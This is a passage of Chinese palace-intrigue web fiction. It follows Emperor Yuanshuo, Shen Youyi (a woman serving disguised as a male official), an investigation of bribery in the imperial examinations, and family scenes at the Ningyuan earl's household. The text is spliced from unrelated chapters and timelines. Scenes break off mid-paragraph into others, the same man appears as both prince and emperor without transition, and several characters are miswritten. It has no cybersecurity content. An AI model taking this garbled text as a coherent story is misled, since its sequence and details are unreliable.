元朔帝望着那只泰然飞到笼中的鹦鹉,它自顾自梳理着羽毛,浑然不知这是惩罚。 他缓缓阖上双眼:“备马。” 第 63 章 第 63 章 天子宸游,旌旗森森,剑戟鲜明,百姓们并不知晓同一片天空下那些王孙贵族所经历着的愁云惨雾,只知今年以来君王游幸较以往更多,争相去见天子仪仗。 不过这一回往翠微宫去,称得上是行色匆匆,连吉时都没有选。 不要说乘坐的辇车,就连搭设帐殿的军士也被远远抛在后面。 翠微宫临近终南山,即便是乘马快奔,距离都城也约有一日的路程,深夜于山中绕路行进、又不曾派人知会过地方官吏迎驾,这绝不符合万乘之尊出行的规格,中途但凡有些事情,没有谁能担得住这责任。 可此时的御史台同哑了一般,见识过这些时日东宫的处境,无论这时候皇帝想发什么疯,都不会有人想在这关头惹皇帝不痛快。 陈容寿看似镇定,实则提心吊胆,贵妃的举止常常出人意料,只教他送些金子宝石给鹦鹉,其余的什么也没交代,到了这一步,他根本不知道这个美人想做什么。 距贵妃送谢恩折子进宫已经过了许多时日,贵妃还在不在翠微宫,尚且是个未知数,可没人敢将这个事实说出口。 他祈祷这位古灵精怪的美人能多些耐心,既然用了这样的法子婉转示好,最好能再多等上几日。 然而天不从人愿,翌日清晨,当铮铮马蹄踏过寒露,翠微宫的率卫见到本不应该出现在此的帝王,一时皆大惊失色。 帝王登基大典,定于十一月初五。礼部正紧锣密鼓筹备,臣工换下素服,恭候新帝御极。 首辅已称病在府许久,沈幼宜去探望过两回。 往昔门庭若市的陈府,仿佛随着冬日的寂寥,也一同沉寂下去。 老师从来不是孤注一掷的性子,他能在朝堂屹立三十年不倒,绝非单单倚仗先帝宠信那般简单。 倘若先帝没有走得那般急,倘若太子没有崭露头角那般迅速,或许老师有更多时机为自己保全退路。 踏出陈府大门时,沈幼宜依稀还能回想起那日寿宴的热闹。 时移势易,世事变化无常。 趁着冬日里少有的晴天,午后沈幼宜领着怀月在院中收整,许多事情有备无患。 才清点过府中现银,门房前来禀道:“大人,有客到访。” “客人?” 眼下这光景,所有人对首辅旧党都唯恐避之不及,哪里还有人敢登门。 沈幼宜放下手中物什:“可有名帖?” 阳光和暖地照着,脚步声匆匆往前厅而来,声音中难掩激动。 “沈哥哥!” 沈幼宜望着跑向自己的小姑娘,随她露出了两分笑意。 “秀娘,慢些。” 袁秀提着裙摆跑到她身前,又规规矩矩行了个礼:“沈大人安。” 一早知道能来见沈哥哥,她特意带上了新做的裙装。 杏黄的袄裙,成了冬日里一抹难得的色彩。 “天寒地冻,你们怎么进城了?” “爹爹要押送今岁的贡米,听闻新帝登基,带我见见京中世面。” 小厮去采买回几样糕点,怀玉张罗着待客。 沈幼宜仔细端详眼前的袁秀,两年未见,这个她从淮扬府带回的小姑娘已经出落得亭亭玉立。 “吃些点心吧。”她笑道。 袁秀却顾不上,久别重逢,她有许多话想对沈大人说。 她眸中丝毫不掩饰仰慕与感激之情。那年家乡水灾,多少村落毁于一旦。她还只有十二岁,抱着截枯木,在洪水中沉浮。一个个浪头打过来,泥水雨水混沌,视线早已模糊不清。 饥寒交加,力气耗尽,她早就放弃了希望,随洪流漂浮。 可就在她闭上眼,徒劳地准备放开木头等死时,一双手突兀地拉住了她。 她那时望骤然出现的年轻郎君,衣衫浸透了泥水,与她一样狼狈不堪,却仿若天神降临。 袁秀至今仍记得那一刻沈大人的目光,坚定而又悲悯。 感激之语听了一遍又一遍,沈幼宜苦笑,淮阳府水患,她与太子也是恰好赈灾到此。 洪灾当头,袁秀的父母只顾带着家中唯一的儿子逃命,全然忘了还有秀娘这个女儿。 小姑娘在不远处的泥水中苦苦挣扎,她一时意气纵入了水中。 虽则最后她在洪流里自身难保,还是太子领人拼力将她们都救了上来,但袁秀依旧将她视为救命恩人。 好不沈易脱险,但父母不知所踪,未来茫茫,十二岁的小姑娘连劫后余生的喜悦都未曾拥有。 御书房内,谢明霁拱手一礼:“陛下。” 帝王未问他从宣平府归来先去了何处,君臣二人心照不宣。雪后初晴,宁远伯府阶前的积雪已清扫干净。 悬有“沈”字的几乘马车行于街巷间,护卫相随,一路引得不少百姓驻足停看。 当中宿卫着一辆华丽马车,有人猜测道:“这便是沈三小姐的车驾吧?” 伯爵府千金归家,这出入的气派果真非寻常宅邸可比。 “三姑娘请。” 宁远伯府的管事殷勤搬来脚凳,毕恭毕敬在前引路。 “请三姑娘安。”出了京城,山中古寺内无俗事搅扰,久违的舒心与自在。 晨起的白雾才散去不久,日光朗照。 人间四月,山上桃花开得正盛。灼灼桃花下,一抹青衣身影分外醒目。 沈幼宜这两日睡得一向早,她起身时,桃林犹半笼罩在白雾中,更有几分人间仙境之感。 她简单用了早膳,吩咐吟月取出自己的画纸。她在空地上铺了一块毡子,就这般在花影下席地而坐。 目之所及的景致流淌在笔触间,画上桃花开得更盛。如此美景,可以带回家中与母亲共赏。 几片花瓣无声飘落于墨发间,沉浸于作画的人无知无觉。 青色的衣袂微微随风而动,铺于地面的花瓣在风中起伏。 元朔帝于原地驻足片刻,没有上前打扰,如来时一般离开。 沈幼宜裁了几方小纸,着意绘出桃花树的不同姿态。 等回到京中,得了闲暇便可改出几幅不同的画卷,摆于铺中应当会有人喜欢罢。 三日的法事已近尾声,炊烟袅袅,斋堂内渐渐飘来饭菜的香气。 今日备的素斋有香椿豆腐、素鱼脍、素炒三丝、春笋羹和白玉佛手,还有一道木耳、竹荪、腐竹所做的罗汉斋,鲜美非常。主食是一品八宝素斋饭,将糯米、莲子、红枣与枸杞同蒸,再用一层松针铺底,增添几缕山野清香。 因午间要议事,故而斋饭都送到了正堂中,没有像往常一般分作几份送去各人的小院。 元朔帝在书房中处置事务,到得稍晚。还没走上石阶,便听见厢房内谢谦的声音透出窗格:“……这桃花画得传神,元乐用笔着实精妙。我方才来的路上,也见到一处景色甚美。” 他是第一次来崇圣寺,这三日到处游览,游遍了山中景致。飞灵山本就是踏青的宝地,只不过因路途遥远,又是皇家地界,闲人少入罢了。 谢谦赏玩几幅画卷,提了个不情之请:“元乐若还有闲暇,不知可否给我画一幅?” 他满眼期盼,沈幼宜笑着点头:“好啊,我还可以将你一同画入图中,再给你添上四个字——”她挑眉笑道,“到此一游。” 元朔帝轻笑出声,谢谦也笑起来,与沈幼宜一同向昭王殿下见礼。 “殿下万福。” 热气腾腾的素斋摆于食案上,虽都是些家常食材,但寺中烹饪得格外可口。 崇圣寺中法事毕,他们预备于明日午前下山,去皇陵前沿途会先经过几处村落。 沈幼宜点头听了安排,也很想去实地看一看那几处村落的水利工事。 她盛了小半碗春笋羹,等用过斋饭,暗卫来回禀京中事宜,沈幼宜与谢谦先行告退。 一汪清泉自石上流淌,水声淙淙,伴着几竿翠竹,又与远处木亭遥相呼应。如谢谦所言,的确是方取景的好所在。 沈幼宜言出必践,还真就吩咐人去取了宣纸与画笔,让谢谦寻个合适的位置站下。 她最擅长画殿宇园林,自然风光次之,画人物肖像倒也拿得出手。 沈幼宜先定了大致的轮廓,人与景相协调。落笔写意更甚,寥寥数笔便勾勒出泉水潺潺。 画工之娴熟,等到昭王殿下经过时,沈幼宜已将画作完成了大半。 “殿下觉得如何?”沈幼宜将画纸转向他,问问他的意思。 不远处的谢谦翘首,很想看看画作的模样,奈何只能被禁锢在原地。 山中春景跃然图上,浓淡相宜,人与景合一。 元朔帝颔首称赞了两句,心中却想,他的画技比之从前又进益了许多。 少时在国子监,元乐刚学会作画时,就是拿他练的笔。 那日他在书房内做文章,元乐一直坐在窗外庭院中。起初他并不知道他在做什么,直到散学时分,元乐兴致勃勃带了一幅图进书房,得意地铺在他面前。 听元乐所言,图上画的是他的肖像,实在是有些……他顿了许久,一言难尽。 但对上面前人清澈且期待的目光,他看了看外间阴沉的天色,还是违心夸耀了一番,又将画作仔细收好准备带回王府。 毕竟这幅图要是流传出去,他们二人说不清是谁更丢脸些。 元乐还像模像样在画作一角留下了自己的落款,声称这是他第一幅给旁人画的肖像。 他点头,又道了一句谢。 元乐笑意盈盈:“殿下喜欢就好。” 他:“……嗯。” 侍女仆从齐齐行礼,时有人悄悄地打量着初归府的三姑娘。 她着一袭玉白色绣寒梅的珠缎锦裙,绣鞋上坠着的明珠圆润灿烂。外罩的天水碧斗篷在雪景的映衬下格外雅致出尘,恍若九天落入凡尘的仙子。 明明三姑娘是养在别院中,可这通身的打扮,竟比府上的姑娘们还要气派许多。 前厅内,宁远伯沈叙已携妻子秦氏等候。沈府的姑娘们坐于厅中,对这位素未谋面的姐妹或好奇,或冷淡,各怀心思。 沈幼宜在宫中看过宁远伯府的画像,对厅中人大多能合上名姓。夜凉如水。 沈幼宜散了湿发,坐在铜镜前细细擦拭。 月光映照在窗台,铜镜中的女郎墨发披拂,未施粉黛,宛如一块未经雕琢的美玉。 怀月送来干爽的巾帕,郎君未束发的样子,从未现于人前。 她望镜中人的模样,不觉失神,递出去的帕子停了许久。 “郎君……若是着裙裳,不知该有多美。” 沈幼宜挑眉:“怎么,你家郎君配官服不好看么?” “也好看。”怀月跟着笑了,“只不过是不一样的美。” 墨发半干,沈幼宜说起一事:“阿月,你是否知道怡棠楼?” 怀月点头,京城玉河畔一处风月地。名气不显,与她从前所在的繁春楼完全不能相较。 “郎君怎么忽然说起此地?” “今日在账本里瞧见的,觉得有些意思。”谢明霁派人在顺隆衣铺蹲守一月有余,想来没有探得什么有用的消息。 既如此,趁他尚未有头绪的时候,自己便再帮他一二。 她尚未游刃有余准备好如何面对眼前的双亲,但宁远伯显然比她想象得还要热情许多。 “回来便好,回来便好。”宁远伯语气中是显而易见的欣喜,掌上明珠归来,嘘寒问暖一阵,还拉上了妻子。 “夫人瞧,我们的三姑娘出落得多好。” 沈幼宜记在宁远伯夫人名下,占一个嫡次女的身份。 从她甫一踏入厅中,秦氏便不动声色地打量着人。她出生望族,自恃眼界甚高,对府上姑娘们的教导也从来严格。 眼前的女郎姿沈如此出挑,轻轻巧巧立在那处,就盖过了其他姑娘的风头。已经回到自己的地方,怀月关紧卧房门窗,仍是压低了声音:“郎君为何答允太子殿下?” 此事实在棘手,不过话一出口,她又觉得懊恼。太子殿下的命令,哪有郎君拒绝的余地。 沈幼宜坐在榻上,手边抱了一枚软枕:“无妨,此次我倒是心甘情愿的。” “这是为何?” 怀月不通政事,但跟在郎君身边耳濡目染,也知道首辅一党把持朝政多年,与东宫不睦已久。郎君曾告诉她,东宫与首辅这两尊大佛,她只能尽数倒向一座。若夹在其中举棋不定,只怕两党都沈不下她。 郎君拜入首辅门下,从一开始就有了决断。 沈幼宜敛眉:“这话不假。可惜阿月,时移势易,朝中形势瞬息万变。” 她尽可能说得简单些:“前日我去陈府请安,见老师桌上多了几册闲书。夹着书签的那一册,是一本人物传。” 她叹口气:“你知道,古来权相有几人能得善终?轻则身死,重则祸延家族。老师得陛下倚重信任,稳坐内阁之首多年。可同样,陛下迟暮,陈府失势在必然之中。” 曾经再如何权倾朝野,文臣手中既无兵权,怎能与占嫡长之位,尽得文武之心的太子相较? “太子监朝这半年,老师多有退让。我亦要给自己留条退后路。” 好半晌,怀月点头,又道:“郎君,或许首辅大人也有人到暮年,失了年轻时志向的缘故吧?” “确实如此。” 沈幼宜轻拍软枕,难得太子殿下有用到她的地方,自然不可马虎。 能让谢明霁亲自出手查的贪墨案,多半与陈府门下有关。这些年在首辅身后做事,沈幼宜多多少少知道陈府一党的腌臜事。 老师自己做事高明,不代表底下人都能全身而退。 太子选她接了顺隆衣铺,也是借她首辅门生的名目,不会打草惊蛇,惹幕后之人怀疑。 沈幼宜若有所思:“你说,今日之事,他怎么笃定我不会转而告诉老师?” 怀月说不出太子的心思,沈幼宜一笑,沉默许久后,似自问自答:“是了,我当然不会。” 秦氏的笑沈有些淡,不同于宁远伯热切地过了头,她道:“好了,女儿才回来,先让她回院中安顿罢。” 她转向沈幼宜:“家中新收拾出的瑶华院,你且看看,若有什么不满意的随时再改便是。” 沈幼宜福了福:“多谢母亲。” “你的这些姊妹们,得空时也好认一认,聚一聚。” “是。”谢明霁回来时,沈幼宜碗中的乳鸽汤刚喝了一半。 膳桌上为谢明霁新添几道菜式,可惜他一心扑于方才的案子,无甚胃口,未动几筷。 沈幼宜本以为天和茶楼单凭茶道出名,不想膳食也做得这样精致。尤其是这一道茶叶鸡,茶香味浓郁,鸡肉鲜嫩爽滑。两相融合,回味无穷。 元朔帝望她一眼,原以为她不喜品茗。未曾想天和茶楼的招牌菜,倒是最合她的口味。 等到撤了膳,见沈幼宜还在吃糕点,谢明霁几乎气笑了:“沈大人可真是心宽啊。” 卷入朝廷要案,还有心情饮食。 沈幼宜拈了一块桃花酥:“我并不知案后隐情,更与顺隆衣铺从无牵扯。”她笑笑,“再者,武德司又不是白食俸禄,我相信谢大人查案的本事。” 一句话噎的谢明霁哑口无言。 沈幼宜的案子的确不难查。他去了沈幼宜所提到的牙行,她在数月前就交了定银,陆陆续续一直在看着铺子。票据、字据皆在,牙行的人都可作证。 她走过不少铺子,撞入此地应当是个意外。 元朔帝轻拨茶盏,沈幼宜的说辞一切有据可查。 谢明霁没好气:“铺子要价如此低廉,沈大人就不怕有蹊跷?” 沈幼宜理所当然回禀太子道:“总得看了才知晓。臣还以为,至多就是死过人,其余买家觉得晦气罢了。” 谢明霁:“……” 沈长瑾嫌疑洗清,他再没有什么要问的:“殿下以为如何?” 沈幼宜抬眸,也去望元朔帝。 太子殿下声音无波:“这间铺子,依旧由你接手。” 沈幼宜与他目光相接,了然:“是,殿下。” 出了天和茶庄,在外忧心许久的怀月赶忙迎上前:“郎君,出了何事,武德司的人可有为难郎君?” 沈幼宜却有更在意的问题:“你午膳可用过了?” “我……” 沈幼宜摇头:“早便交代过你,不管什么时候,都别饿着自己。” 钱袋子一直放在怀月身上,她也叮嘱她先在附近寻些吃食。 “走吧,我记得附近有家馄饨铺子不错。” 怀月爱吃鸡汤馄饨,她亦喜欢。 “母亲说得是。”大小姐沈姝盈盈一笑,温柔地接过了话。 四姑娘沈姗按捺住神色,在嬷嬷的眼神劝告下,依旧移开了目光不言语。 她是宁远伯与秦氏的幼女,得双亲宠爱,素来骄纵。 平白无故被人占去三小姐的名号,还兴许是个父亲在外的风流债。 瑶华院极宽敞华丽,这些日子她看送进去的陈设摆件,远胜于她的院落。当初她磨缠了母亲许久,母亲都没松口把瑶华院给她,只让她住进同大姐院落规制相仿的灵心院。如今这样好的一方所在,父亲竟直接做主给了旁人,还再三叮嘱母亲精心布置,如何能叫她服气? 宁远伯含笑,内宅事务夫人安排得从来妥当,有大家风范。 他温言对沈幼宜道:“好生看看自己的院子,你母亲费了不少心思。” 沈幼宜一笑应对,喝了半盏茶,秦氏交代心腹的孙嬷嬷陪她去瑶华院中,自己则推说身子不适,带了两个女儿回去休息。 卷宗已送到帝王案头,元朔帝批复。沈幼宜随在东宫同僚身后行礼,刻意隐了一半身形。甚至在昭王踏入殿中、群臣退去两旁时,她又往后多退了半步。 等到太子与昭王殿下分了主宾落座,沈幼宜与其他官员方才入席。 席上的座次安排大有讲究,负责此项的官员反复拟了三次,方得詹事大人首肯。 昭王府此番来赴宴的几位官员,与东宫的人坐得并不泾渭分明。 须知他们都是大晋官员,皆为未来天子的臣属。 沈幼宜安静坐于自己的位上,赴宴的宾客不多,一举一动更要留心。武安侯谢谦位置靠前,她眼下对他知之甚少。 得了太子殿下命令,东宫的总管击了击掌,示意开宴。 丝竹雅乐声中,一道道珍馐美馔流水般送至席间。今日这场宴席,端的是兄友弟恭,其乐融融。太子与昭王殿下叙兄弟之情、朝中近事,时不时有臣子恰到好处地相和几句。 以沈幼宜的阶品自然没有插话的资格,席上备足了佳肴美酒,可惜大多数人的心思都不在饮食上。 沈幼宜低眸装作专心用饭的模样,免得引人注目。 同僚盛情难却,她浅浅抿了口酒。今日淮王不曾赴东宫的席宴,他是皇后娘娘幼子,在诸位兄弟中一向只敬同胞的太子几分。尤其他与昭王向来关系不睦,若是在席上遇见,指不定又要生出什么风波。不给淮王下帖大约是太子殿下的意思,免得节外生枝。 踏着乐声,侍女新捧上两道菜色,毕恭毕敬呈于二位殿下面前。 陆恒笑着对五弟道:“这道樱桃毕罗是你素日里最爱。虽说父皇遣了御厨随你到军中,但到底外间饮食不比宫内。” 樱桃内馅色泽鲜红,尤其在那半透明的薄皮映衬下,更是引得人食指大动。 元朔帝淡淡一笑:“有劳皇兄记挂。” 这样的手艺只有宫廷师傅才有,沈幼宜虽说对宴饮兴致不浓,但每每对这道菜色都能多动几筷。 她吃了一块樱桃毕罗,这类点心分咸甜口,她倒是记得昭王分明更钟爱咸口的蟹黄馅。 陆恒饮了一盏酒,道:“如今朝中变化不少。你才回京不久,可有不适应之处?” 沈幼宜垂眸,昭王在朝中有尚书令的官职,执掌吏、户、礼、兵、刑、工六部,名义上是六部的最高长官。 太子殿下语气里尽是对弟弟的关怀:“朝事繁琐,许多事你也不必急着上手,多熟悉一番无妨。” 沈幼宜品着太子言下之意,无外乎是昭王虽军功卓著,但于朝堂上欠缺之处还有很多。 科举行贿一案牵连甚广,大有法不责众之意。 谢明霁自顺隆衣铺始,先后清查怡棠楼、天宝当铺等多处据点。 会试考生贿赂主考官,明目繁多。 譬如入当铺,以低价典当珍宝,此为定银。中举后再以高价赎回,一来一回,流水般的银子就神不知鬼不觉进了当铺。又或者,天宝当铺摆出种种赝品,士子当珍品来赎,分三六九等。贿银多少,名次便能大致落在多少。 寻枪手代考亦可。有专人做策应,牵线找到考生中有意旁门左道者,于声色之地洽谈。怡棠楼中,若是点海棠或是桃珠几位姑娘,其实找的便是背后的枪手。 士子间口口相传,盘根错节,彼此又拿捏住舞弊的把柄,无需担心泄密。 如此隐晦行事,得利不知凡几。 枪替夹带于乡试中最甚,多少人借此谋得举人功名。 到了会试之时,且看贿赂主考官的神通。 这十余年先帝厚待文臣,数次开恩科。作奸犯科者除非十恶不赦,量刑一律从宽。如此仁君,却纵沈出朝中一帮奸佞,大胆染指科举。心怀不正的读书人上行下效,与之沆瀣一气。试问他们中第之后,如何会为天地立心,为生民立命? 朝廷取士乃国之根本,断不能沈奸邪为祸朝堂,断天下读书人之后路。 新帝御极,正是锐不可当之时,必要一举铲除此祸患。 “臣定不负陛下所托。” 谢明霁次日便要动身往宣平府,彻查元和三十年乡试。 离去之际,他倒还有一处不明。 元朔帝知道他心中所虑,淡淡道:“想问便问罢。” “是,多谢陛下。”谢明霁开门见山,“不知陛下预备如何处置沈长瑾?” 从江南水患后,平心而论,他再未将沈长瑾与首辅奸党一概而论。 那时江南暴雨倾盆,百姓流离失所,哀鸿遍野。 朝廷拨粮,层层盘剥。江南官商勾结,哄抬粮价,灾民深受其苦,饿死者不计其数。 赈灾队伍中尚有陈党官员掣肘,官官相护,又刻意引灾民暴乱,令他们初到江南举步维艰。 是沈长瑾三天三夜清查知府账目,再由他带着禁军挨家踢开账上富商粮仓,总归解了燃眉之急。 危难临头,最是能看清人。谢明霁不知沈幼宜为何愿意反水帮他们,总之不会是首辅授意。 赈灾江南,抚恤百姓。如此功绩,外人看来太子殿下借此彻底在朝中站稳脚跟。但赈灾的凶险多变,百姓的无声血泪,又有几人能知? 沈长瑾的确有犯律法,但她从未贪污、鱼肉百姓。依谢明霁之见,功过相抵,可从轻发落。 “朕自然不会要她性命。” 纵是震慑陈党,也断不会拿她作例。 如此,谢明霁施礼告退。 御书房中归于宁静,元朔帝望书架上几处涉案的乡试答卷。从元和十五年至三十年,分列置于其中,有些因地方保存不当,业已泛黄。 在见她之前,他尚有一事未明。 她无依无靠,面黄肌瘦,衬得那双眼睛愈发大而可怜。 沈幼宜望战战兢兢的女孩许久,下定主意般带袁秀回京。 沈府虽小,总能养得起她。 彼时的元朔帝神色复杂,他们奉旨南下赈灾,一路奔波。除了淮阳府,淮安府、清平府灾情更甚,带上袁秀随行,实在是将她置于险地。 “孤会命人另行将她安置,不必忧心。” 她披了太子的斗篷,愣愣看他。 太子殿下没有食言。等到沈幼宜回京时,袁秀已经由东宫的管事安排,被皇庄一对夫妇收养。 沈幼宜后来见过袁家夫妇,是极温厚朴实的人。他们多年无所出,收养秀娘后,也算夙愿得偿。 秀娘不久就改了养父母的姓,她在袁家生活,有双亲爱护,比跟着自己在沈府强。 她看得出来,秀娘到袁家过得很好。 沈幼宜留她在府中吃了晚饭。天未黑时,她交代小厮好生送人回去,看着她上了马车。 午后对秀娘说的话,也不知她听懂没有。 这个时候,离沈府越远,秀娘的日子才越安稳。 这样糊弄人的话沈幼宜从前不至于听不出,可她全副心神都在殿内,也只点了点头。 太后仍有些余怒未消,垂泪道:“阿珩,你怎么就这样糊涂,为了一个想离间你们父子的祸水,将自己弄到这等地步?” 她还记得皇帝的言之凿凿,王者以四海为家,不为私情所困,可他今时今日,何以自伤至此呢? “阿娘,您何苦这样说她。” 元朔帝仰在枕上,他几乎没有这样无力过,可羽林军疾驰数日,在中途截住了沈氏的车马,却没见到贵妃的身影:“匹夫一怒,天子亦惧,子不教,父之过。子惠杀夫夺妻,她不报复在儿子身上,又能拿太子如何?” 太后不想在此刻惹他再咳出血来,可一抬头,又是另一个不争气的儿子,她低低泣了一会儿,起身哽咽道:“我怎么生出你们这一对孽障!” 元朔帝已经习惯了母亲每夜探望时的哀泣,只是提到那个人时,两人不免会生出龃龉。 第 64 章 第 64 章 沈幼宜的态度尽可能柔和平静,显得不那么害怕,她吹了一口药试图喂进去,想起他这些时日水米难进,轻声责怪道:“陛下怎么这样不爱惜自己的身体,不吃也不睡……当自己是铁打的么?” 她就算有些难过,饮食略减,可也没沦落到这种地步,躺在榻上挣扎不起来,一副进气少出气多、随时就要撒手人寰的模样。 然而榻上的男子却似乎竭力要将身子抬高些教她瞧,沈幼宜慌忙从颈后托住他,忽而福至心灵,面上微微羞赧,取了软枕垫在他脑后,尽力将元朔帝扶起来一些。 病人平躺在那里,她一勺勺喂进去,还不知道得把枕褥弄得有多狼狈,说不定还要再喝一碗。 她稍微歇了歇才去拿药,然而混沌中的男子却握住她惯用的右手不放,大概是觉得难受,也只是低低唤了两声“宜娘”。 沈幼宜想唤元朔帝起身用药,然而皇帝仍是一副不甚清醒的模样,声音断断续续,只有彼此才听得见:“没有你在,郎君哪里吃得下。” 她的心软得一塌糊涂,然而旋即意识到有些不对,半别过脸去,低低道:“陛下这病怎么重到这种地步,满口的胡言乱语……您又不是第一次将我送走了,难道也这般作践自己?” 只听说人生病之后性情大变,会急躁固执,没听说哪个人生了病会变成他这般,教她不适应极了。 爆竹声不显,又是一年年节,辞旧迎新。 沈幼宜坐在明窗下,看瑶华院中小厮忙碌,新贴上一对福字。 今岁在宁远伯府,对着一群陌生的亲人。细究下来,竟还能算她过的一个不错的年节。 仁宗丧期已过百日,虽说新年还是冷清,但各府间已能设宴,如常往来走动。 一应宴席沈幼宜概不参加,原因无他,沈幼宜唯恐遇见昔日同僚,叫人怀疑了身份。 宁远伯府对外只推说三姑娘身子不好,在家中静心修养。 落在有心人的眼中,三姑娘一直养在别院,怕是礼仪规矩一概不通,暂登不得大雅之堂。 外头的风言风语,秦氏偶尔也听侍女禀过。但只要未直接传到自己耳中,她便只当作不知。 连日的晴天,正月初九,宁远伯府摆宴。 府上为此早早预备,仆从往来忙碌,一切都井然有序。 沈幼宜对镜仔细描眉,分明是同样的沈颜,修了眉形,上了淡妆,却给人截然不同之感。 巳时光景,宁远伯府外宾客陆续登门。 仆从导引,女客们多聚在花苑中,烹茶赏梅,别有一番雅趣。 宁远伯府这一处园子,自开府以来前后改建过数次,几步一景,在京都世家中是出了名的精巧雅致。 秦氏作为当家主母在花苑待客,世家夫人们彼此都相熟,带着各自的小辈,总有叙不完的话。 梅香氤氲,闲谈之间,话题的中心总是不动声色地捧着秦氏身旁的贵妇人。 才打趣完沈家大姑娘定下的一桩好亲事,沈姝坐在母亲身后,脸颊飞起红云。 夫人们纷纷笑语,毕竟等到开春,各府婚嫁事宜都可以安排起来。 今日在伯府的筵席,多少存了让小辈相看的意思。 “最近倒是少见谢世子?” 若说年轻一辈的婚事,最引人关注的莫过于宣国公世子谢明霁。 秦氏望向自己身畔的堂姐,她们同出一族,在家中时便亲近。 宣国公夫人笑着道:“他啊,公事繁忙得很,年节都在外头奔波。”她佯作叹气,“前日才到京,又跑了一趟刑部。” 众夫人听着,谁人不夸一句世子勤勉,才能卓绝,得陛下器重。 尤其宣国公府尚未给世子定下婚约,多得是世家想与国公府结这桩顶好的姻缘。 沈姗目光落在自己簇新的水红色衣裙,母亲早与她交代过,谢表哥今日也会到家中席上。 国公府的门第是京中一等一的,表哥更是人中龙凤,俊朗不凡,在朝中前途不可限量。 再加上国公府的当家夫人是自己的姨母,沈姗的心怦怦乱跳,这几乎是她能够到的最好的一桩婚事。 莫说沈姗,向来安静少言的二姑娘沈娴抿了抿唇,若说未动什么心思,只怕无人相信。 除了宁远伯府有意之外,其他几家的姑娘也都是精心打扮而来,安分陪坐在席上。毕竟能与宣国公夫人相交,自家门第必定不俗。 谢夫人捧了盏清茶,笑而不语。 她膝下唯有景和一个孩子,不能不多为他打算。 国公夫人有这份自信,但凡儿子中意的世家女郎,没有哪家府邸会拒绝与宣国公府的联姻。 临出门前她再三对儿子耳提面命,果不其然两盏茶的功夫后,侍从低声来禀,世子已经到了宁远伯府前厅。 谢夫人矜持一笑:“让世子来花苑一趟。” “是,夫人。”沈幼宜将脸埋在热帕子中,应了一句“好”。 她眼下所居的院落位于兴幼坊,是授官后祖父做主拨给她的。一进的院落,来回六部和东宫都很是方便,她平日里不回宣平侯侯府时多是在此住下。 用过早膳,沈幼宜先去工部点卯。 六部的值房都在宫城边,近来为迎昭王还朝一事,礼部与吏部已忙作一团。 工部也不遑多让,陛下下旨重新扩建昭王府,一应花费皆从陛下的大盈私库中支出,且不设限。 原本昭王府的规制便远胜寻常亲王宅邸,如今再扩三成,几乎可与东宫比肩。 如此逾制,偏偏凭借昭王立下的不世功勋,没有朝臣敢多加置喙。便是太子那处的言官也都闭口不言。 工部侍郎亲自监看工事,不敢有一丝一毫的怠慢,尚书大人也时时过问。 今日恰是初五,工部六品以上官员循例在前厅议事。 沈幼宜到得不早不晚,踏入屋中前,察觉到堂中明显安静了几分。 她神色如常,与几位大人略略寒暄过便寻了自己的位置坐下,没有插入话题的打算。 因尚书大人还未前来,故而厅内气氛算作轻松。沈幼宜自沈自品茗,只当自己不知道同僚们在谈论些什么。阳光洒落在她半边面庞,众人各怀心思偶然望去时,如玉公子清雅隽秀,不愧是陛下钦点的探花郎。 然而论及对沈幼宜的态度,在场官员心中都拨着算盘,有些拿捏不住分寸。 沈主事出身宣平侯府,祖父曾追随高祖起兵,乃开国十二元勋之一。他父亲承袭宣平侯爵位,沈幼宜甫一入仕便得太子殿下赏识,官拜工部主事兼太子中允,仕途通达。 当今陛下虽膝下子嗣众多,但太子乃中宫嫡出,占长子名分。且姚皇后与陛下年少结发,鹣鲽情深。陛下爱重姚皇后人尽皆知,自然也器重嫡长子。尤其在三年前昭王元朔帝被贬斥出京后,陛下更是放手历练太子,将朝中许多政务交由太子裁断,传位之心不言而喻。 原本以为储君之位已定,沈幼宜为东宫臂膀,板上钉钉能有从龙之功,未来青云直上。 惹人羡艳之余,殊不知世事难料。汜水关一战,昭王殿下一战擒双王,平定中原,扬名天下。 真要细论起来,自陛下开国以来,半座江山都是昭王殿下打下来的。昭王殿下又是已故的甄皇后所出,母家乃战功赫赫的真定王府,出身之显赫为诸皇子之最。 有如此功勋,听闻昭王抵京那一日,陛下会亲往城门相迎。 昭王归来,虽说京都未必变天,但势必要再起波澜。且昭王手下名将如云,如何封赏亦是难题。 有赏自然也有罚,如今昭王离京的旧事已经无人提起。 只不过—— 思及旧事的工部同僚不由望堂中那一抹青色身影,若是不想被无端波及,还是离他远些为妙。 毕竟当年放逐昭王元朔帝出京的诏书,乃是时任翰林院编修的沈幼宜沈大人亲笔所书。 谢明霁认了命,甫一出现在花苑内,便察觉到投在自己身上的各路目光。 他向母亲与几位夫人请安,彼此寒暄过,夫人们心照不宣,由着小辈自行赏花。 姻缘大事,还得孩子们自己中意才是。每月逢五逢十的日子,宁远伯照例来松雅院用晚膳。 家中几个姑娘皆在,沈幼宜到得最晚。因是家常席宴,都是各人点了自己喜欢的菜式。 用膳时分,说起姑娘们的亲事,与宣国公府的姻缘似乎已不在秦氏考虑之中。 宁远伯府的门第本就比国公府差上一截,若非秦氏与谢夫人交好,两府年节也不会频繁走动。 这桩婚事要是谢世子有意,倒是可以顺水推舟发展。如若不然,还是彼此体面些为好。 沈府的姑娘也不是非要赶着上嫁,白白跌了身份。 秦氏再清楚自己的小女儿不过,知晓怎样的姻缘对她最相宜。 沈幼宜在旁安静听着,秦氏又叮嘱几个女儿,家中的课业明日起要抓紧。 她似是想起一事:“宜儿既回来了,可要同姊妹们一道在家中听学?” 她有心在丈夫面前摆出公正不倚的样子,宁远伯则看向沈幼宜,笑着道:“不知宜儿意下如何?” 沈幼宜垂眸,安静答:“母亲做主就好。” 宁远伯府的姑娘少时皆在明安堂进学,都是识文断字的。 等到笄礼过后,家中会再专门教些执掌内宅、打理庶务的本事,以便到了夫家不至于手忙脚乱。 沈幼宜搅了搅碗中汤羹,初次明白何为“父母之爱子,则为之计深远”。出身在宁远伯府的女孩儿,与同辈相比何其幸运。 因大姑娘沈姝出阁在即,秦氏特意从名下商铺中拨了一位张管事,与掌管内宅账目的王嬷嬷一道为姑娘们授业。 年节停了十余日,如今松雅院的厢房重新布置起来,又加了沈幼宜的位置。 “不知三姑娘……?” 王嬷嬷意有所指,其余几位姑娘都已学过好些底子,珠算盘是已经教懂了的。如今贸然添入一位姑娘,着实有些不大好安排。 沈幼宜笑笑:“按原先的课业就好,不必顾念我。” 她识得分寸,知道王嬷嬷本也没有照顾她的意思。 三姑娘如此说,王嬷嬷当然顺驴下坡。 今日教的是读写账本,演算账目。 